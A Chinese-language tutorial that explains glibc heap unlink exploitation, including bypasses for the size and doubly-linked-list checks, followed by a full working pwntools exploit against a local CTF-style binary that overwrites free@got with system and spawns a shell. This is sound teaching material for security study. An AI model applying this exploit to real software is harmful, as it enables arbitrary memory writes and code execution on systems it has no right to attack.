使用电脑浏览效果更佳!
摘要
记录当下加入检查机制的unlink宏一般利用思想,主要在glibc pwn下的unlink利用手法。
分析
unlink的工作
unlink(AV, P, BK, FD):P是在空闲双向链表中的freed chunk(如small bins,larged bins,unsorted bins)
在free检查前后是否可以合并的时候,对free(ptr) ptr前后相邻的chunk就是unlink的目标p(即把它从freed chunk链表卸下的一步工作);
在malloc检查到size符合small bin等(只有fast bin用fd的单向链表,LIFO的分配管理),分配chunk 从freed chunk 双向链表拿下
没有检查机制的unlink
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
由于没有检查的机制,对于任意伪造的fake freed chunk(构造user data中的fd,bk指针即可达到对任意地址pointer写机器字长(4bytes | 8 bytes)的数据,常见覆写free@got,free_hook函数等)
那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下
- FD=P->fd = target addr -12
- BK=P->bk = expect value
- FD->bk = BK,即 *(target addr-12+12)=BK=expect value
- BK->fd = FD,即 *(expect value +8) = FD = target addr-12(FD,BK的角色可以调换)
看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。但在expect value +8 的地址处已经被改变,这需要我们绕过。重要的是,当前的unlink已经加入了检查的机制
带有检查机制的unlink
前面介绍的unlink思想还在,但需要我绕过当前加入的检查代码
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
对于
__builtin_expect (chunksize(P) != prev_size (next_chunk(P)
的检查绕过:对一个free掉的chunk(p = malloc(0x80),p返回的是指向chunk的user data开始的指针,chunk包含chunk header域,即p = mem,free(p)== free(mem),内有mem与chunk的指针转换)有两处记录chunk的大小,一是自己chunk header的size,二是逻辑虚拟内存相连的chunk的pre_size域(不管该下一chunk是否in_use)。绕过该检查容易,因为能够通过溢出伪造fake chunk,也能把该fake chunk下一块的pre_size改掉。
对于
__builtin_expect (FD->bk != P || BK->fd != P, 0)
的检查绕过:要注意到的是,此处的FD->bk、BK->fd和P都是chunk ptr,(这也是前面提出的chunk与mem的区别),我们只需要找到一处内存(
ptr
)内容(*ptr
)为P(P是我们可控的malloc返回的mem pointer),即可绕过该检查//tr指向的内存保存内容 = p = malloc(),即记录了分配的内存mem指针。 //对于32位平台 FD = p->fd == *(p + 0x8) = ptr-0xc BK = p->bk == *(p + 0xc) = ptr-0x8 FD->bk = *((ptr-0xc)+0xc) = p BK->fd = *((ptr -0x8)+0x8) = p//结构体的指针操作,->为一个取ptr内存保存值的操作 //即可绕过检查 //此处改写的内存为 FD->bk = *((ptr-0xc)+0xc) = *(ptr) = BK = ptr-0x8 BK->fd = *((ptr -0x8)+0x8)= *(ptr) = FD = ptr -0xc //即把原本保存malloc返回值的数组变量改为了对ptr-0xc的内容,即我们获得了改全局数组的改写权(因为后面的程序其他chunk的使用也是通过该全局数组内malloc返回的mem指针进行引用),相当于我们获得了自定义malloc分配的内存地址,因为我们有改写的指针引用,进而可以对任意地址内存写,如覆写free@got,__free_hook等 //后面可以通过对chunk1改为对free@got的引用,对chunk1的写就是对free@got的写 set_chunk(0,"A"*0xc + p32(ptr-0xc)+p32(free@got)) // padding + chunk0_mem_ptr+chunk1_mem_ptr+....
上面的原理利用图:
对于更多版本的利用payload是否绕过:可以通过pwntools的debug检查程序卡在哪里
context.update(os='linux', arch='i386',log_level='debug') # 需要debug的地方 gdb.attach(p) # 脚本ctrl+c可以再开一gdb的调试
能够看出size与pre_size没有够造好。
程序演示
下面这个binary演示了简单的unlink利用,如前面部分介绍的利用思想,这里涉及到DynELF的使用(无libc泄露libc地址)和32位的传参栈布局
64位涉及到寄存器传参。
详细参考:https://www.anquanke.com/post/id/85129
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux') # 调试pwntools脚本payload在用sendlineafter | sendafter ,关键处进行gdb.attach,多开gdb窗口进行调试
# context.update(os='linux', arch='i386',log_level='debug')
p = process("./heap")
chunk_list = 0x8049d60
free_got = 0x8049ce8
flag = 0
def leak(addr):
data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
global flag
if flag == 0:
set_chunk(0, data)
flag = 1
else:
set_chunk(0, data)
res = ""
res = print_chunk(1)
print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
return res[0:4]
def add_chunk(len):
# print p.recvuntil('5.Exit\n')
# p.sendline('1')
# print p.recvuntil('Input the size of chunk you want to add:')
# p.sendline(str(len))
p.sendlineafter("5.Exit\n","1")
p.sendlineafter('Input the size of chunk you want to add:',str(len))
def set_chunk(index,data):
# p.recvuntil('5.Exit\n')
# p.sendline('2')
# p.recvuntil('Set chunk index:')
# p.sendline(str(index))
# p.recvuntil('Set chunk data:')
# p.sendline(data)
p.sendlineafter("5.Exit\n","2")
p.sendlineafter("Set chunk index:",str(index))
p.sendlineafter("Set chunk data:",data)
def del_chunk(index):
# p.recvuntil('5.Exit\n')
# p.sendline('3')
# p.recvuntil('Delete chunk index:')
# p.sendline(str(index))
p.sendlineafter("5.Exit\n",'3')
p.sendlineafter("Delete chunk index:",str(index))
def print_chunk(index):
p.sendlineafter("5.Exit\n",'4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
res = p.recvuntil('1.Add',drop=True)
return res
raw_input('add_chunk')
add_chunk(128) #0
add_chunk(128) #1
add_chunk(128) #2
add_chunk(128) #3
set_chunk(3, '/bin/sh')
#fake_chunk
payload = ""
payload += p32(0) + p32(0x81) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk
payload += p32(0x80) + p32(0x88)
set_chunk(0,payload)
###########################
# pwndbg> parseheap
# addr prev size status fd bk
# 0x9e04000 0x0 0x88 Freed 0x0 0x89
# 0x9e04088 0x80 0x88 Used None None
# 0x9e04110 0x0 0x88 Used None None
# 0x9e04198 0x0 0x88 Used None None
# pwndbg> x/10wx 0x9e04000
# 0x9e04000: 0x00000000 0x00000089 0x00000000 0x00000089
# 0x9e04010: 0x08049d54 0x08049d58 0x41414141 0x41414141
# 0x9e04020: 0x41414141 0x41414141
# pwndbg> x/10wx 0x8049D60
# 0x8049d60: 0x09e04008 0x09e04090 0x09e04118 0x09e041a0
# 0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000
# 0x8049d80: 0x00000000 0x00000000
# pwndbg>
##########################
# pwnlib.gdb.attach(p)
#get the pointer
del_chunk(1)
set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8048420)) # 修改的是全局记录的指针数组,即buf[1]已经变为了free@plt
raw_input('leak')
#leak system_addr,通过DynELF,free@plt来泄露system的地址
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)
raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk('0', data)
set_chunk('1', p32(sys_addr)) # 把free@plt覆写为free@got的内容,因为前面已经运行了free,got记录了真正的free的地址
del_chunk('3')
p.interactive()
程序流程